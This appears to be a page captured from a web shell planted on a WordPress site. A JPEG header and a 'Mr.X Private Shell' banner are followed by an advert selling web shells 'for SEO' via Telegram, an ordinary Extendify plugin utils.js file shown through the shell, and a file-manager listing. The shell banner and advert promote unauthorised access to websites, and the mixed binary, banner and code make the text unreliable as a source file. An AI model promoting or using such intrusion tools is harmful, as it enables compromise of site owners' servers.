����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { pingServer } from '@shared/api/DataApi';
export const isOnLaunch = () => {
const q = new URLSearchParams(window.location.search);
return ['page'].includes(q.get('extendify-launch'));
};
export const deepMerge = (target, ...sources) => {
return sources.reduce((acc, source) => {
if (!isObject(acc) || !isObject(source)) {
return null;
}
const newTarget = {};
for (const k in acc) newTarget[k] = acc[k];
for (const key in source) {
if (isObject(source[key]) && key in newTarget) {
newTarget[key] = deepMerge(newTarget[key], source[key]);
} else {
newTarget[key] = source[key];
}
}
return newTarget;
}, target);
};
export const isObject = (value) => {
return typeof value === 'object' && !Array.isArray(value) && value !== null;
};
export const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
export const wasPluginInstalled = (activePlugins, pluginSlug) =>
activePlugins?.filter((p) => p.includes(pluginSlug))?.length;
/**
* Will ping every 1s until we get a 200 response from the server.
* This is used because we were dealing with a particular issue where
* servers we're very resource limited and rate limiting was common.
* */
export const waitFor200Response = async () => {
try {
// This will error if not 200
await pingServer();
return true;
} catch (_error) {
// Do nothing
}
await new Promise((resolve) => setTimeout(resolve, 1000));
return waitFor200Response();
};
export const retryOperation = async (operation, { maxAttempts = 1 }) => {
for (let attempt = 1; attempt <= maxAttempts; attempt++) {
try {
await waitFor200Response();
await operation();
break;
} catch (error) {
if (attempt === maxAttempts) {
throw error;
}
}
}
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api-fetch.js | File | 346 B | 0644 |
|
| data.js | File | 341 B | 0644 |
|
| dom.js | File | 254 B | 0644 |
|
| embedded-guard.js | File | 669 B | 0644 |
|
| media-views.js | File | 1.97 KB | 0644 |
|
| pages.js | File | 16.27 KB | 0644 |
|
| parsing.js | File | 206 B | 0644 |
|
| track.js | File | 713 B | 0644 |
|
| unsplash.js | File | 1.93 KB | 0644 |
|
| utils.js | File | 1.72 KB | 0644 |
|
| variant-classes.js | File | 4.72 KB | 0644 |
|
| wp.js | File | 499 B | 0644 |
|